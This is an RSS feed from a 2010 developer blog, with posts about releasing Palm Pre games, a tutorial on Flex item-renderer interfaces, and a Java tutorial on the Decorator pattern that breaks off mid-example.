<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Code of Doom</title>
	<atom:link href="http://codeofdoom.com/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://codeofdoom.com/wordpress</link>
	<description></description>
	<lastBuildDate>Tue, 25 May 2010 19:42:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Word Jumble now available on the Palm App Catalog</title>
		<link>http://codeofdoom.com/wordpress/2010/05/25/word-jumble-now-available-on-the-palm-app-catalog/</link>
		<comments>http://codeofdoom.com/wordpress/2010/05/25/word-jumble-now-available-on-the-palm-app-catalog/#comments</comments>
		<pubDate>Tue, 25 May 2010 19:12:29 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Palm Pre]]></category>
		<category><![CDATA[Random Notes]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/2010/05/25/word-jumble-now-available-on-the-palm-app-catalog/</guid>
		<description><![CDATA[ Word Jumble has now been released on the Palm App Catalog for both the Palm Pre and the Pixi. It definitely took a lot longer than I anticipated but the end result is a great looking and polished product. 
From the product description

Word Jumble is a great and addictive game that will keep you [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://developer.palm.com/webChannel/index.php?packageid=com.codeofdoom.wordjumble"> Word Jumble</a> has now been released on the Palm App Catalog for both the Palm Pre and the Pixi. It definitely took a lot longer than I anticipated but the end result is a great looking and polished product. </p>
<p>From the product description<br />
<i><br />
Word Jumble is a great and addictive game that will keep you coming back for more! Unscramble the jumbled words to reveal the secret keyword at the bottom. Over 5200+ possible words! Play against the clock or at your leisure. Think its too easy? You have 3 different times to test yourself against. Not sure what a word is? Use the hint feature to give you a hand. High scores for both Timed and Normal games!</p>
<p></i></p>
<p>Please feel free to leave some feedback, good or bad. </p>
<p>Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2010/05/25/word-jumble-now-available-on-the-palm-app-catalog/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Five or More released!</title>
		<link>http://codeofdoom.com/wordpress/2010/04/20/five-or-more-released/</link>
		<comments>http://codeofdoom.com/wordpress/2010/04/20/five-or-more-released/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 13:47:02 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=545</guid>
		<description><![CDATA[Five of more is released!
Well that didnt take too long. I would like to do a few more updates (difficulty level settings, global high scores, etc) so hopefully that wont take too long to get those updates out the door. If you experience any problems with it, please email me at marcel@codeofdoom.com
Thanks!
]]></description>
			<content:encoded><![CDATA[<p><a href="http://developer.palm.com/webChannel/index.php?packageid=com.codeofdoom.app.fiveormore">Five of more is released!</a></p>
<p>Well that didnt take too long. I would like to do a few more updates (difficulty level settings, global high scores, etc) so hopefully that wont take too long to get those updates out the door. If you experience any problems with it, please email me at <a href="mailto:marcel@codeofdoom.com">marcel@codeofdoom.com</a></p>
<p>Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2010/04/20/five-or-more-released/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Five or More finally submitted to the palm app catalog!</title>
		<link>http://codeofdoom.com/wordpress/2010/04/17/five-or-more-finally-submitted-to-the-palm-app-catalog/</link>
		<comments>http://codeofdoom.com/wordpress/2010/04/17/five-or-more-finally-submitted-to-the-palm-app-catalog/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 00:23:09 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Palm Pre]]></category>
		<category><![CDATA[Random Notes]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=542</guid>
		<description><![CDATA[I know I have been slacking on this (amongst other things like maintenance of the site) but I have finally gotten around to wrapping up my game that I made awhile ago for the Palm Pre. There were a few tweaks made to the game that some people were concerned with, so hopefully a lot [...]]]></description>
			<content:encoded><![CDATA[<p>I know I have been slacking on this (amongst other things like maintenance of the site) but I have finally gotten around to wrapping up my game that I made awhile ago for the Palm Pre. There were a few tweaks made to the game that some people were concerned with, so hopefully a lot more people will enjoy it.</p>
<p>I would like to add difficulty levels to the game in the future, as well as a &#8216;continue&#8217; feature. </p>
<p>I will keep you posted once the app is approved or not.</p>
<p>Cya then!</p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2010/04/17/five-or-more-finally-submitted-to-the-palm-app-catalog/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>More Pre game updates.</title>
		<link>http://codeofdoom.com/wordpress/2009/07/30/more-pre-game-updates/</link>
		<comments>http://codeofdoom.com/wordpress/2009/07/30/more-pre-game-updates/#comments</comments>
		<pubDate>Thu, 30 Jul 2009 19:28:16 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Palm Pre]]></category>
		<category><![CDATA[Random Notes]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=538</guid>
		<description><![CDATA[I have been hard at work (in my spare time at least harr) working on updating 5 or more to get it into a much more playable state. I think I am down to 2 more bugs. One is a big pain in the ass and the other isnt too bad. Sometimes if you are [...]]]></description>
			<content:encoded><![CDATA[<p>I have been hard at work (in my spare time at least harr) working on updating 5 or more to get it into a much more playable state. I think I am down to 2 more bugs. One is a big pain in the ass and the other isnt too bad. Sometimes if you are able to fill the whole board and you get a 5 in a row RIGHT at the last second, it will go to gameover. I know what is wrong, I just havent fixed it yet. </p>
<p>The reason I haven&#8217;t  is that I decided to get my mind off of it by making another Pre game. This one is much more recognizable, which is Simon. Yep, that game that you played with you were like 8, with the 4 buttons and you have to repeat the pattern. Anyways, it is in version 0.5.04 at the moment. I still have some things to work on it though. The pre does not seem to handle audio very well though. Almost as if it is a delicate flower. <sigh> </p>
<p>Anyways, if you want to check out the updated game and simon, here you go!<br />
<a href="http://www.codeofdoom.com/webos/com.codeofdoom.simon_0.5.04_all.ipk">Simon v0.5.04</a><br />
<a href="http://www.codeofdoom.com/webos/com.codeofdoom.app.fiveormore_0.7.25_all.ipk">Five or More v.0.7.25</a></p>
<p>Also, I do plan on doing some WebOs tutorials in a bit, so stay turned!</p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/07/30/more-pre-game-updates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Palm Pre Game: 5 or More v 0.6.01</title>
		<link>http://codeofdoom.com/wordpress/2009/07/19/palm-pre-game-5-or-more-v-0601/</link>
		<comments>http://codeofdoom.com/wordpress/2009/07/19/palm-pre-game-5-or-more-v-0601/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 05:50:19 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=536</guid>
		<description><![CDATA[Ive got an update to the game. Not too many visual changes. There was a bug where the buttons werent showing the text that was fixed. I have fixed PART of a path finding bug, only to find out there were two issues with it. I may have to just rewrite the path finding function. [...]]]></description>
			<content:encoded><![CDATA[<p>Ive got an update to the game. Not too many visual changes. There was a bug where the buttons werent showing the text that was fixed. I have fixed PART of a path finding bug, only to find out there were two issues with it. I may have to just rewrite the path finding function. oh well.</p>
<p>I also fixed an &#8216;undo exploit&#8217; where you could keep undoing and waiting for the right piece to drop in the right spot. </p>
<p>Anyways, feel free get the <a href="http://www.codeofdoom.com/fiveormore/com.codeofdoom.app.fiveormore_0.6.01_all.ipk">updated version</a></p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/07/19/palm-pre-game-5-or-more-v-0601/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Palm Pre Game: 5 or More v 0.5.0</title>
		<link>http://codeofdoom.com/wordpress/2009/07/17/palm-pre-game-5-or-more-v-050/</link>
		<comments>http://codeofdoom.com/wordpress/2009/07/17/palm-pre-game-5-or-more-v-050/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 20:44:30 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Palm Pre]]></category>
		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=524</guid>
		<description><![CDATA[So I have gotten my first Palm Pre game in a playable state, sans one bug that I am currently working on. The game is called 5 or more and I have included the rules and how to play with the game (under the help menu). You will need to have your pre in developer [...]]]></description>
			<content:encoded><![CDATA[<p>So I have gotten my first Palm Pre game in a playable state, sans one bug that I am currently working on. The game is called 5 or more and I have included the rules and how to play with the game (under the help menu). You will need to have your pre in developer mode in order to install it (note this is different from having to root your pre) and use this application to get the game onto your phone:</p>
<p><a href="http://predev.wikidot.com/installing-apps-on-a-stock-pre-post-1-04-update">http://predev.wikidot.com/installing-apps-on-a-stock-pre-post-1-04-update</a></p>
<p>And here is the game:<br />
<a href="http://www.codeofdoom.com/fiveormore/com.codeofdoom.app.fiveormore_0.5.0_all.ipk">http://www.codeofdoom.com/fiveormore/com.codeofdoom.app.fiveormore_0.5.0_all.ipk</a></p>
<p>Some screen shots:<br />
<a href="http://www.codeofdoom.com/fiveormore/gameplay.jpg">Screenshot 1</a><br />
<a href="http://www.codeofdoom.com/fiveormore/gameplay2.jpg">Screenshot 2</a><br />
<a href="http://www.codeofdoom.com/fiveormore/gameover.jpg">Screenshot 3</a><br />
<a href="http://www.codeofdoom.com/fiveormore/highscore.jpg">Screenshot 4</a><br />
<a href="http://www.codeofdoom.com/fiveormore/menu.jpg">Screenshot 5</a></p>
<p>Things on the todo list:</p>
<ul>
<li> fix bug that doesnt let you move a piece to a certain spot </li>
<li> Sound (sound from moving. maybe ambient music while playing?</li>
<li> Add a background</li>
<li> Add &#8220;special pieces&#8221; </li>
<li> Add achievements </li>
<li> Change the scoring around a little bit</li>
<p>Of course, if anyone wants to give any feed back on the gameplay, let me know. I also already want to rewrite this app. This definitely started with something where I was learning javascript, but definitely not applying best practices. Soon I will be picking up a few books to help out with that. I do have a few other ideas for games to create, so keep an eye out <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>ps<br />
Although I am sure many of you have heard, Palm made the SDK publicly available. So feel free to <a href="http://developer.palm.com">check it out.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/07/17/palm-pre-game-5-or-more-v-050/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>So where have I been?</title>
		<link>http://codeofdoom.com/wordpress/2009/07/09/so-where-have-i-been/</link>
		<comments>http://codeofdoom.com/wordpress/2009/07/09/so-where-have-i-been/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 19:46:52 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Random Notes]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=520</guid>
		<description><![CDATA[Any regular readers of this blog probably took not that I went from posting one of two things here a week to posting nothing for about two months. Maybe I cursed myself by writing the article Why do our time estimates suck, because I am finally wrapping up a project where the estimations just went [...]]]></description>
			<content:encoded><![CDATA[<p>Any regular readers of this blog probably took not that I went from posting one of two things here a week to posting nothing for about two months. Maybe I cursed myself by writing the article <a href="http://codeofdoom.com/wordpress/2009/04/19/why-do-our-time-estimates-suck/">Why do our time estimates suck</a>, because I am finally wrapping up a project where the estimations just went down the crapper. I did learn another lesson though about why estimations suck, and that is being on a project that its entire life cycle (IE, planning, development, testing, regression testing, etc) is a massive discovery phase. </p>
<p>This basically boiled down to those who were in charge of pulling the data down were not aware that what the client was asking was either a)something different or b) next to impossible given the dataset. No one knew it at the time, so everyone just found out as the project progressed. Luckily the blame of that was not on our plate, but it did affect our ability to get the job done in a sane manner. However, the project is &#8220;done&#8221;, so hopefully my schedule will go back to something more reasonable and I will be able to contribute more. </p>
<p>In the mean time, I did end up picking up a palm pre and actually got invited into their pre SDK development program. I have been messing with that and I have started working on a game called 5 or more. The gray pieces are &#8220;open spots&#8221; where you can move the colored pieces to. You have to have a clear path of open pieces when you move a piece from one place to another. Each time you move a piece, 3 more pieces will drop. Once you line up 5 or more of the same color, they will change into open (gray) pieces. Here are some pics of it so far:</p>
<p><a href="http://www.codeofdoom.com/game.jpg">5 or more picture 1</a><br />
<a href="http://www.codeofdoom.com/game2.jpg">5 or more picture 2</a></p>
<p>Its pretty close to being completed. Once it is completed, I will be submitting it to the app catalog, so hopefully I will be able to be part of the initial wave of new apps <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . </p>
<p>In the future, I would like to start posting articles about developing for the pre, but I would like to get some more experience with it first. </p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/07/09/so-where-have-i-been/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Know your Flex interfaces</title>
		<link>http://codeofdoom.com/wordpress/2009/05/18/know-your-flex-interfaces/</link>
		<comments>http://codeofdoom.com/wordpress/2009/05/18/know-your-flex-interfaces/#comments</comments>
		<pubDate>Tue, 19 May 2009 02:49:37 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Best Practices]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[Learn This]]></category>
		<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=501</guid>
		<description><![CDATA[One of the things I love about Flex is how extensible it can be. You are able to make composite components to do almost anything you want using out of the box components. However, if you really want to take advantage of its power, it helps to have a good or in depth knowing of [...]]]></description>
			<content:encoded><![CDATA[<p>One of the things I love about Flex is how extensible it can be. You are able to make composite components to do almost anything you want using out of the box components. However, if you really want to take advantage of its power, it helps to have a good or in depth knowing of the interfaces that come with it. The reason to proclaim the importance is that using these interfaces, you will be able to create extremely light weight components, but you will be able to make them do whatever you want (in a programming sense of the phrase).</p>
<p>There are, of course, <a href="http://www.mikechambers.com/blog/2008/02/29/actionscript-3-class-interface-implementations/ " target="_blank">quite a few</a> different interfaces. I have looked through them and picked out five interfaces that I consider to be the more important ones. For each, I will give a brief explanation of why they are important and where you would normally use them.<br />
<span id="more-501"></span><br />
<strong>IListItemRenderer</strong><br />
Usually when creating composite components or item renderers, I try to stick with UIComponent rather than something like an HBox or Canvas. If you are going to use it item renderer for something like a list though, you are going to have to implement IListItemRenderer to your UIComponent. Keep in mind, if you dont use an UIComponent, there are a lot of other interfaces you will have to implement. If you want to keep it simple, use UIComponent.</p>
<p>When you implement IListItemRenderer, you are given access to the listData, which has one extremely useful property on it. Using the listData property, you will be able to tell in your item renderer which field of your dataprovider you are currently using. This property is know as the labelField. This is useful when you need to handle special cases for different properties. Since you have a access to this, you can setup something like a property map to handle each case.</p>
<p>When implementing the IListItemRenderer, when setting your getter/setter for your listData, keep in mind that the data coming in will be of type BaseListData. Be sure that your classes implementing this will have that property on it. </p>
<p><strong>IDropInListItemRenderer<br />
</strong>As you might have noticed, I did say to use the IListItemRenderer for lists. Well what about grids? With a IDropInListItemRenderer, you are able to reuse the renderer to assign it to multiple properties, for say, columns in a datagrid. Keep in mind that when using the IDropInListItemRenderer, you must also implement IDataRenderer(which I will discuss shortly). This is in order to have access to the data property. The listData is then used to initialize the data property. Normally when your components need to apply new listData, it takes place in the commitProperties (or in invalidateProperties is flagged. However you feel like describing it). When you implement your getter for listData, make sure you bind a dataChange event in your component like this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"> <span style="color: #000000;">&#91;</span>Bindable<span style="color: #000000;">&#40;</span><span style="color: #990000;">&quot;dataChange&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">get</span> listData<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span>BaseListData<span style="color: #000000;">&#123;</span>
      <span style="color: #0033ff; font-weight: bold;">return</span> _listData;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>This will ensure that your getters/setters are called properly. This also applies to IListItemRenderer. You will also notice that the BaseListData object is also used whenever you are using IDropInListItemRenderer. This is because the type that is actually used is dependant on the component that it is being used with. If it is a grid, it will use DataGridListData, Lists will use ListData and a Tree control will use TreeListData.</p>
<p><strong>IDataRenderer</strong><br />
The IDataRenderer is another popular one amongst item renderers. This is what gives you access to the data property. Along with needing to work with the listDataRenderers, it is also used whenever a chart needs a renderer. It could also be used with datagrids as well, but for this, the data property would be the data for the entire row, not specifically for the item. Just like in our IDropInListItemRenderer, we need  to make sure  that our component has a binding for the dataChange event. The other important fact for this is that when you are setting your data, to fully complete the binding, an event dataChange event must be fired.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">set</span> <span style="color: #004993;">data</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">value</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
  _data = <span style="color: #004993;">value</span>;    
  <span style="color: #004993;">dispatchEvent</span><span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">new</span> FlexEvent<span style="color: #000000;">&#40;</span>FlexEvent.DATA_CHANGE<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>IEventDispatcher</strong><br />
This is one of the more interesting interfaces. Not so much because its cool or does anything special, but it is the only interface where it is recommended to either:</p>
<p>a) extend EventDispatcher<br />
or<br />
b) if that&#8217;s not an option, have an IEventDispatcher property on your component.</p>
<p>Personally, I pick option B. If you have a property for it, it does give you the ability to assign a different implementation class to it, making it more versatile. You could leave it as a normal EventDispatcher, but you could also assign a CairngormEventDispatcher to it. Once you do this, you will be able to create your own hooks in order to dispatch your events.</p>
<p><strong>IResponder</strong><br />
I feel this gets overlooked but it is definitely important in the world of data services. The reason it gets overlooked is that we just often copy/paste code like this and take it for granted that there will always be a result function for our service calls. However, this is the interface that gives us access to our result and fault functions that our asynchronous service calls make. Most of the time, we use existing frameworks such as cairngorm or puremvc for this, but it is good to have an idea of what is going on the background.</p>
<p>Usually our fault function looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> fault<span style="color: #000000;">&#40;</span><span style="color: #004993;">info</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span><span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>Normally a FaultEvent is what is returned, but according to the Flex documents, this is not always the face, hence it being returned as an object.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> result<span style="color: #000000;">&#40;</span><span style="color: #004993;">data</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span><span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>Once again,  this normally comes back as a ResultEvent, but this is not always the case.</p>
<p>These are just a few of the major interfaces that I have used more often than not. There are quite a bit more. While knowing all of them by heart is not something I would consider necessary, but when you start creating custom components, knowing these interfaces and how to use them are extremely important. It allows you to create more flexible, clean and light weight components. </p>
<p>Think I left something out? Any other important ones? Wrong about something? Feel free to comment!</p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/05/18/know-your-flex-interfaces/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Learn this: Strategy pattern vs Decorator pattern</title>
		<link>http://codeofdoom.com/wordpress/2009/05/10/learn-this-strategy-pattern-vs-decorator-pattern/</link>
		<comments>http://codeofdoom.com/wordpress/2009/05/10/learn-this-strategy-pattern-vs-decorator-pattern/#comments</comments>
		<pubDate>Mon, 11 May 2009 04:55:46 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Best Practices]]></category>
		<category><![CDATA[Design Patterns]]></category>
		<category><![CDATA[Learn This]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[howto]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=492</guid>
		<description><![CDATA[As mentioned in a previous article, one thing I like to do when giving interviews is throwing out a curve ball. A standard type of questions I like to ask about are design patterns. Normally I will ask them to describe a specific pattern and seeing that both Strategy patterns and Decorator patterns are pretty [...]]]></description>
			<content:encoded><![CDATA[<p>As mentioned in a <a href="http://codeofdoom.com/wordpress/2009/02/12/learn-this-when-to-use-an-abstract-class-and-an-interface/" target="_blank">previous article</a>, one thing I like to do when giving interviews is throwing out a curve ball. A standard type of questions I like to ask about are design patterns. Normally I will ask them to describe a specific pattern and seeing that both Strategy patterns and Decorator patterns are pretty common, I will ask about those. Most of the time, they can answer at least one of those. Whenever they answer both, I like to throw in the &#8216;Describe the difference between them and when you would use them.&#8217;</p>
<p>I ask this normally because it is kind of a gray area. Well maybe gray area isn&#8217;t the correct phrase, but they are strikingly similar*. They both encapsulate and delegate the behavior of the classes. They both encourage composition. Both are great alternatives to inheritance. And they both allow for new behaviors to be easily added to existing classes. With all the similarities, its hard to see where they differ, making it a great question to ask in an interview.<br />
<span id="more-492"></span><br />
Before I get into the details, I would like to have a quick explanation of what they are. Well I am going to cheat for the strategy pattern because it was one of the <a href="http://codeofdoom.com/wordpress/2008/04/18/the-strategy-pattern/">first articles I wrote</a>. Go take a read&#8230;<br />
.<br />
.<br />
.<br />
If you didn&#8217;t read the article, the run down allows you to swap out implementations of what specific components can do at run time via the use of interfaces. Also if you really didn&#8217;t read it, <a href="http://codeofdoom.com/wordpress/2009/02/12/learn-this-when-to-use-an-abstract-class-and-an-interface/" target="_blank">go read it</a>.<br />
.<br />
.<br />
.<br />
Alright, as for the decorator pattern. It is extremely similar except for the fact that it not just allows you to swap out implementation at run time, but they allow you to build ON TOP of the behavior of your components. The way it works is a base class with a specific behavior. Then our decorator will be a class that we will use to change that behavior by extending the base class, as well as having that base class as a property on the component. In essence, the decorator extends and wraps the base class. Lets look at a short example of how a decorator works</p>
<p>For this example, lets think of a text formatter. We want something that will take a string and format it however which was we want. There will be a decorator will make a String all capitalized, another that will concatenate two strings, then another one that will replace the word &#8220;this&#8221; with &#8220;that&#8221;. Here is our abstract class:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">abstract</span> <span style="color: #000000; font-weight: bold;">class</span> Text<span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">abstract</span> <span style="color: #003399;">String</span> format<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>And here is our base decorator:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">abstract</span> <span style="color: #000000; font-weight: bold;">class</span> TextDecorator <span style="color: #000000; font-weight: bold;">extends</span> Text<span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">abstract</span> <span style="color: #003399;">String</span> format<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>As you can see, our decorators are just extensions of our abstract class and they will have their own format function attached to it. Now lets take a look at our base implementations.</p>
<p>For our main class, it will just be something rather generic.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> BaseText <span style="color: #000000; font-weight: bold;">extends</span> Text<span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> BaseText<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> format<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">return</span> s<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>This class will just return its text property with out any changes to it. Next lets see some decorators we could create in order to change our text.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> AllCaps <span style="color: #000000; font-weight: bold;">extends</span> TextDecorator<span style="color: #009900;">&#123;</span>
    Text text<span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">public</span> AllCaps<span style="color: #009900;">&#40;</span>Text text<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">text</span> <span style="color: #339933;">=</span> text<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> format<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">return</span> text.<span style="color: #006633;">format</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">toUpperCase</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> StringConcat <span style="color: #000000; font-weight: bold;">extends</span> TextDecorator<span style="color: #009900;">&#123;</span>
    Text text<span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">public</span> StringConcat<span style="color: #009900;">&#40;</span>Text text<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">text</span> <span style="color: #339933;">=</span> text<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> format<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">return</span> text.<span style="color: #006633;">format</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">concat</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ReplaceThisWithThat <span style="color: #000000; font-weight: bold;">extends</span> TextDecorator<span style="color: #009900;">&#123;</span>
    Text text<span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">public</span> ReplaceThisWithThat<span style="color: #009900;">&#40;</span>Text text<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">text</span> <span style="color: #339933;">=</span> text<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> format<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
